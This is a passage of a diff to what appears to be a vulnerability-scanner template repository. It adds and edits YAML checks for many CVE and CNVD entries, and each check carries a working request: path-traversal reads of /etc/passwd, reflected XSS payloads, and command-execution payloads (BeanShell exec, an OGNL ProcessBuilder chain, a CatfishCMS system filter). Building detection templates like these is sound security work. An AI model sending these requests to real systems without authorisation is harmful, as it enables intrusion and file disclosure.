| nimble | 1 | | | | | | | | |
| bing | 1 | | | | | | | | |
| redhat | 1 | | | | | | | | |
| phalcon | 1 | | | | | | | | |
| zzzcms | 1 | | | | | | | | |
| burp | 1 | | | | | | | | |
| tenda | 1 | | | | | | | | |
| emby | 1 | | | | | | | | |
| remkon | 1 | | | | | | | | |
| bazarr | 1 | | | | | | | | |
| exponentcms | 1 | | | | | | | | |
| exacqvision | 1 | | | | | | | | |
| graphite | 1 | | | | | | | | |
| pcoip | 1 | | | | | | | | |
| acexy | 1 | | | | | | | | |
| clockwatch | 1 | | | | | | | | |
| tracer | 1 | | | | | | | | |
| esmtp | 1 | | | | | | | | |
| newrelic | 1 | | | | | | | | |
| twitter-server | 1 | | | | | | | | |
| bolt | 1 | | | | | | | | |
| rmi | 1 | | | | | | | | |
| drone | 1 | | | | | | | | |
| sgp | 1 | | | | | | | | |
| actuator | 1 | | | | | | | | |
| mautic | 1 | | | | | | | | |

12
TOP-10.md Normal file
View File

@ -0,0 +1,12 @@
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
| cve | 838 | dhiyaneshdk | 296 | cves | 842 | info | 775 | http | 2244 |
| lfi | 344 | daffainfo | 289 | vulnerabilities | 329 | high | 651 | file | 50 |
| panel | 284 | pikpikcu | 281 | exposed-panels | 278 | medium | 478 | network | 46 |
| xss | 259 | pdteam | 201 | technologies | 202 | critical | 297 | dns | 12 |
| wordpress | 255 | geeknik | 166 | exposures | 196 | low | 156 | | |
| exposure | 245 | dwisiswant0 | 131 | misconfiguration | 143 | | | | |
| rce | 215 | gy741 | 83 | takeovers | 65 | | | | |
| tech | 196 | pussycat0x | 74 | token-spray | 63 | | | | |
| wp-plugin | 178 | princechaddha | 66 | default-logins | 60 | | | | |
| cve2020 | 166 | madrobot | 63 | file | 50 | | | | |

27
cnvd/CNVD-2019-06255.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CNVD-2019-06255
info:
name: CatfishCMS RCE
author: Lark-Lab
severity: medium
reference: http://112.124.31.29/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/CatfishCMS/CNVD-2019-06255%20CatfishCMS%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
tags: rce,cvnd,catfishcms
requests:
- method: GET
path:
- "{{BaseURL}}/s=set&_method=__construct&method=*&filter[]=system"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
condition: and
words:
- 'OS'
- 'PATH'
- 'SHELL'
- 'USER'

9
cnvd/CNVD-2020-68596.yaml
View File

@ -12,24 +12,17 @@ requests:
- |
POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 5
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: deflate
"1":1
- |
GET /public/index.php/home/file/user_pics HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip
Accept-Encoding: deflate
- |
GET {{endpoint}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: deflate
extractors:
- type: regex

3
cnvd/CNVD-2021-15822.yaml
View File

@ -12,7 +12,6 @@ requests:
- |
GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
@ -20,7 +19,7 @@ requests:
- type: regex
regex:
- "root:[x*]:0:0"
- "root:.*:0:0"
- type: status
status:

8
cnvd/CNVD-2021-30167.yaml
View File

@ -4,9 +4,9 @@ info:
name: UFIDA NC BeanShell Remote Code Execution
author: pikpikcu
severity: high
reference: |
- https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
- https://www.cnvd.org.cn/webinfo/show/6491
reference:
- https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
- https://www.cnvd.org.cn/webinfo/show/6491
tags: beanshell,rce,cnvd
requests:
@ -14,7 +14,6 @@ requests:
- | #linux
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/x-www-form-urlencoded
bsh.script=exec("id");
@ -22,7 +21,6 @@ requests:
- | #windows
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/x-www-form-urlencoded
bsh.script=exec("ipconfig");

25
cves/2001/CVE-2001-1473.yaml Normal file
View File

@ -0,0 +1,25 @@
id: CVE-2001-1473
info:
name: Deprecated SSHv1 Protocol Detection
author: iamthefrogy
severity: high
tags: network,ssh,openssh,cves,cves2001
description: SSHv1 is deprecated and has known cryptographic issues.
reference:
- https://www.kb.cert.org/vuls/id/684820
- https://nvd.nist.gov/vuln/detail/CVE-2001-1473
classification:
cvss-score: 7.4
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
cve-id: CVE-2001-1473
cwe-id: CWE-310
network:
- host:
- "{{Hostname}}"
- "{{Hostname}}:22"
matchers:
- type: word
words:
- "SSH-1"

2
cves/2005/CVE-2005-2428.yaml
View File

@ -5,7 +5,7 @@ info:
severity: medium
tags: cve,cve2005
description: Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.
reference: |
reference:
- http://www.cybsec.com/vuln/default_configuration_information_disclosure_lotus_domino.pdf
- https://www.exploit-db.com/exploits/39495

26
cves/2005/CVE-2005-4385.yaml Normal file
View File

@ -0,0 +1,26 @@
id: CVE-2005-4385
info:
name: Cofax <= 2.0RC3 XSS
description: Cross-site scripting vulnerability in search.htm in Cofax 2.0 RC3 and earlier allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter.
reference:
- http://pridels0.blogspot.com/2005/12/cofax-xss-vuln.html
- https://nvd.nist.gov/vuln/detail/CVE-2005-4385
author: geeknik
severity: medium
tags: cofax,xss,cve,cve2005
requests:
- method: GET
path:
- "{{BaseURL}}/search.htm?searchstring2=&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "'>\"</script><script>alert(document.domain)</script>"

30
cves/2006/CVE-2006-1681.yaml Normal file
View File

@ -0,0 +1,30 @@
id: CVE-2006-1681
info:
name: Cherokee HTTPD <=0.5 XSS
description: Cross-site scripting (XSS) vulnerability in Cherokee HTTPD 0.5 and earlier allows remote attackers to inject arbitrary web script or HTML via a malformed request that generates an HTTP 400 error, which is not properly handled when the error message is generated.
reference:
- https://www.securityfocus.com/bid/17408
- https://nvd.nist.gov/vuln/detail/CVE-2006-1681
author: geeknik
severity: medium
tags: cherokee,httpd,xss,cve,cve2006
requests:
- method: GET
path:
- "{{BaseURL}}/%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html

29
cves/2007/CVE-2007-0885.yaml Normal file
View File

@ -0,0 +1,29 @@
id: CVE-2007-0885
info:
name: Rainbow.Zen Jira XSS
description: Cross-site scripting (XSS) vulnerability in jira/secure/BrowseProject.jspa in Rainbow with the Zen (Rainbow.Zen) extension allows remote attackers to inject arbitrary web script or HTML via the id parameter.
reference: https://www.securityfocus.com/archive/1/459590/100/0/threaded
author: geeknik
severity: medium
tags: cve,cve2007,jira,xss
requests:
- method: GET
path:
- '{{BaseURL}}/jira/secure/BrowseProject.jspa?id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e'
matchers-condition: and
matchers:
- type: word
words:
- '"><script>alert(document.domain)</script>'
- type: status
status:
- 200
- type: word
part: header
words:
- "text/html"

27
cves/2007/CVE-2007-4504.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2007-4504
info:
name: Joomla! Component RSfiles 1.0.2 - 'path' File Download
author: daffainfo
severity: high
description: Directory traversal vulnerability in index.php in the RSfiles component (com_rsfiles) 1.0.2 and earlier for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter in a files.display action.
reference:
- https://www.exploit-db.com/exploits/4307
- https://www.cvedetails.com/cve/CVE-2007-4504
tags: cve,cve2007,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

4
cves/2007/CVE-2007-4556.yaml
View File

@ -15,14 +15,14 @@ requests:
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- "root:.*:0:0"
part: body
- type: status

2
cves/2008/CVE-2008-2650.yaml
View File

@ -21,5 +21,5 @@ requests:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
- "root:.*:0:0:"
part: body

27
cves/2008/CVE-2008-4668.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2008-4668
info:
name: Joomla! Component imagebrowser 0.1.5 rc2 - Directory Traversal
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Image Browser (com_imagebrowser) 0.1.5 component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/6618
- https://www.cvedetails.com/cve/CVE-2008-4668
tags: cve,cve2008,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2008/CVE-2008-4764.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2008-4764
info:
name: Joomla! Component com_extplorer 2.0.0 RC2 - Directory Traversal
author: daffainfo
severity: high
description: Directory traversal vulnerability in the eXtplorer module (com_extplorer) 2.0.0 RC2 and earlier in Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action.
reference:
- https://www.exploit-db.com/exploits/5435
- https://www.cvedetails.com/cve/CVE-2008-4764
tags: cve,cve2008,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2008/CVE-2008-6080.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2008-6080
info:
name: Joomla! Component ionFiles 4.4.2 - File Disclosure
author: daffainfo
severity: high
description: Directory traversal vulnerability in download.php in the ionFiles (com_ionfiles) 4.4.2 component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
reference:
- https://www.exploit-db.com/exploits/6809
- https://www.cvedetails.com/cve/CVE-2008-6080
tags: cve,cve2008,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/components/com_ionfiles/download.php?file=../../../../../../../../etc/passwd&download=1"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2008/CVE-2008-6172.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2008-6172
info:
name: Joomla! Component RWCards 3.0.11 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter.
reference:
- https://www.exploit-db.com/exploits/6817
- https://www.cvedetails.com/cve/CVE-2008-6172
tags: cve,cve2008,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2008/CVE-2008-6222.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2008-6222
info:
name: Joomla! Component ProDesk 1.0/1.2 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/6980
- https://www.cvedetails.com/cve/CVE-2008-6222
tags: cve,cve2008,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2008/CVE-2008-6668.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2008-6668
info:
name: nweb2fax <= 0.2.7 Directory Traversal
description: Multiple directory traversal vulnerabilities in nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via .. in the id parameter to comm.php and var_filename parameter to viewrq.php.
reference:
- https://www.exploit-db.com/exploits/5856
- https://nvd.nist.gov/vuln/detail/CVE-2008-6668
author: geeknik
severity: high
tags: nweb2fax,lfi,cve,cve2008
requests:
- method: GET
path:
- "{{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd"
- "{{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
part: body
regex:
- "root:.*:0:0:"

2
cves/2009/CVE-2009-0545.yaml
View File

@ -17,4 +17,4 @@ requests:
- type: regex
part: body
regex:
- "root:[x*]:0:0:"
- "root:.*:0:0:"

28
cves/2009/CVE-2009-0932.yaml Normal file
View File

@ -0,0 +1,28 @@
id: CVE-2009-0932
info:
name: Horde - Horde_Image::factory driver Argument LFI
author: pikpikcu
severity: high
description: |
Directory traversal vulnerability in framework/Image/Image.php in Horde before 3.2.4 and 3.3.3 and Horde Groupware before 1.1.5 allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the Horde_Image driver name.
reference:
- https://www.exploit-db.com/exploits/16154
- https://nvd.nist.gov/vuln/detail/CVE-2009-0932?cpeVersion=2.2
tags: cve,cve2009,horde,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/horde/util/barcode.php?type=../../../../../../../../../../../etc/./passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

13
cves/2009/CVE-2009-1151.yaml
View File

@ -4,9 +4,10 @@ info:
name: PhpMyAdmin Scripts/setup.php Deserialization Vulnerability
author: princechaddha
severity: high
description: Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file. Combined with ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
reference: https://www.phpmyadmin.net/security/PMASA-2009-3/
vulhub: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
description: Setup script used to create PhpMyAdmin configurations can be fooled by using a crafted POST request to include arbitrary PHP code in the generated configuration file. Combined with the ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
reference:
- https://www.phpmyadmin.net/security/PMASA-2009-3/
- https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
tags: cve,cve2009,phpmyadmin,rce,deserialization
requests:
@ -16,11 +17,7 @@ requests:
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
@ -32,4 +29,4 @@ requests:
- type: regex
regex:
- "root:[x*]:0:0:"
- "root:.*:0:0:"

27
cves/2009/CVE-2009-1496.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2009-1496
info:
name: Joomla! Component Cmimarketplace - 'viewit' Directory Traversal
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Cmi Marketplace (com_cmimarketplace) component 0.1 for Joomla! allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/8367
- https://www.cvedetails.com/cve/CVE-2009-1496
tags: cve,cve2009,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

24
cves/2009/CVE-2009-1558.yaml Normal file
View File

@ -0,0 +1,24 @@
id: CVE-2009-1558
info:
name: Linksys WVC54GCA 1.00R22/1.00R24 (Wireless-G) - Directory Traversal
author: daffainfo
severity: high
description: Directory traversal vulnerability in adm/file.cgi on the Cisco Linksys WVC54GCA wireless video camera with firmware 1.00R22 and 1.00R24 allows remote attackers to read arbitrary files via a %2e. (encoded dot dot) or an absolute pathname in the next_file parameter.
reference: https://www.exploit-db.com/exploits/32954
tags: cve,cve2009,iot,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/adm/file.cgi?next_file=%2fetc%2fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

32
cves/2009/CVE-2009-1872.yaml Normal file
View File

@ -0,0 +1,32 @@
id: CVE-2009-1872
info:
name: Adobe Coldfusion 8 linked XSS vulnerabilies
author: princechaddha
severity: medium
description: Multiple cross-site scripting (XSS) vulnerabilities in Adobe ColdFusion Server 8.0.1, 8, and earlier allow remote attackers to inject arbitrary web script or HTML via (1) the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to (2) wizards/common/_logintowizard.cfm, (3) wizards/common/_authenticatewizarduser.cfm, or (4) administrator/enter.cfm.
reference:
- https://www.securityfocus.com/archive/1/505803/100/0/threaded
- https://www.tenable.com/cve/CVE-2009-1872
tags: cve,cve2009,adobe,xss,coldfusion
requests:
- method: GET
path:
- '{{BaseURL}}/CFIDE/wizards/common/_logintowizard.cfm?%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- "</script><script>alert(document.domain)</script>"
part: body
- type: word
part: header
words:
- text/html
- type: status
status:
- 200

27
cves/2009/CVE-2009-2015.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2009-2015
info:
name: Joomla! Component MooFAQ (com_moofaq) - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in includes/file_includer.php in the Ideal MooFAQ (com_moofaq) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
reference:
- https://www.exploit-db.com/exploits/8898
- https://www.cvedetails.com/cve/CVE-2009-2015
tags: cve,cve2009,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2009/CVE-2009-2100.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2009-2100
info:
name: Joomla! Component com_Projectfork 2.0.10 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the JoomlaPraise Projectfork (com_projectfork) component 2.0.10 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/8946
- https://www.cvedetails.com/cve/CVE-2009-2100
tags: cve,cve2009,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_projectfork&section=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2009/CVE-2009-3053.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2009-3053
info:
name: Joomla! Component Agora 3.0.0b (com_agora) - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Agora (com_agora) component 3.0.0b for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the action parameter to the avatars page, reachable through index.php.
reference:
- https://www.exploit-db.com/exploits/9564
- https://www.cvedetails.com/cve/CVE-2009-3053
tags: cve,cve2009,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_agora&task=profile&page=avatars&action=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2009/CVE-2009-3318.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2009-3318
info:
name: Joomla! Component com_album 1.14 - Directory Traversal
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Roland Breedveld Album (com_album) component 1.14 for Joomla! allows remote attackers to access arbitrary directories and have unspecified other impact via a .. (dot dot) in the target parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/9706
- https://www.cvedetails.com/cve/CVE-2009-3318
tags: cve,cve2009,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_album&Itemid=128&target=../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2009/CVE-2009-4202.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2009-4202
info:
name: Joomla! Component Omilen Photo Gallery 0.5b - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Omilen Photo Gallery (com_omphotogallery) component Beta 0.5 for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/8870
- https://www.cvedetails.com/cve/CVE-2009-4202
tags: cve,cve2009,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_omphotogallery&controller=../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

2
cves/2009/CVE-2009-4223.yaml
View File

@ -2,7 +2,7 @@ id: CVE-2009-4223
info:
name: KR-Web <= 1.1b2 RFI
description: KR is a web content-server based on Apache-PHP-MySql technology who gives to internet programmers some PHP classes semplifying database content access. Elsewere, it gives some admin and user tools to write, hyerarchize and authorize contents.
description: KR is a web content-server based on Apache-PHP-MySql technology which gives to programmers some PHP classes simplifying database content access. Additionally, it gives some admin and user tools to write, hierarchize, and authorize contents.
reference:
- https://sourceforge.net/projects/krw/
- https://www.exploit-db.com/exploits/10216

27
cves/2009/CVE-2009-4679.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2009-4679
info:
name: Joomla! Component iF Portfolio Nexus - 'Controller' Remote File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the inertialFATE iF Portfolio Nexus (com_if_nexus) component 1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
reference: |
- https://www.exploit-db.com/exploits/33440
- https://www.cvedetails.com/cve/CVE-2009-4679
tags: cve,cve2009,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2009/CVE-2009-5114.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2009-5114
info:
name: WebGlimpse 2.18.7 - Directory Traversal
author: daffainfo
severity: high
description: Directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter.
reference:
- https://www.exploit-db.com/exploits/36994
- https://www.cvedetails.com/cve/CVE-2009-5114
tags: cve,cve2009,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-0157.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-0157
info:
name: Joomla! Component com_biblestudy - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Bible Study (com_biblestudy) component 6.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter in a studieslist action to index.php.
reference:
- https://www.exploit-db.com/exploits/10943
- https://www.cvedetails.com/cve/CVE-2010-0157
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

32
cves/2010/CVE-2010-0467.yaml Normal file
View File

@ -0,0 +1,32 @@
id: CVE-2010-0467
info:
name: Joomla! Component CCNewsLetter - Local File Inclusion
author: daffainfo
severity: medium
description: Directory traversal vulnerability in the ccNewsletter (com_ccnewsletter) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a ccnewsletter action to index.php.
reference: |
- https://www.exploit-db.com/exploits/11282
- https://www.cvedetails.com/cve/CVE-2010-0467
tags: cve,cve2010,joomla,lfi
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
cvss-score: 5.80
cve-id: CVE-2010-0467
cwe-id: CWE-22
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-0696.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-0696
info:
name: Joomla! Component Jw_allVideos - Arbitrary File Download
author: daffainfo
severity: high
description: Directory traversal vulnerability in includes/download.php in the JoomlaWorks AllVideos (Jw_allVideos) plugin 3.0 through 3.2 for Joomla! allows remote attackers to read arbitrary files via a ./../.../ (modified dot dot) in the file parameter.
reference:
- https://www.exploit-db.com/exploits/11447
- https://www.cvedetails.com/cve/CVE-2010-0696
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/plugins/content/jw_allvideos/includes/download.php?file=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-0759.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-0759
info:
name: Joomla! Plugin Core Design Scriptegrator - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php in the Core Design Scriptegrator plugin 1.4.1 for Joomla! allows remote attackers to read, and possibly include and execute, arbitrary files via directory traversal sequences in the files[] parameter.
reference:
- https://www.exploit-db.com/exploits/11498
- https://www.cvedetails.com/cve/CVE-2010-0759
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd"
matchers-condition: and
matchers:
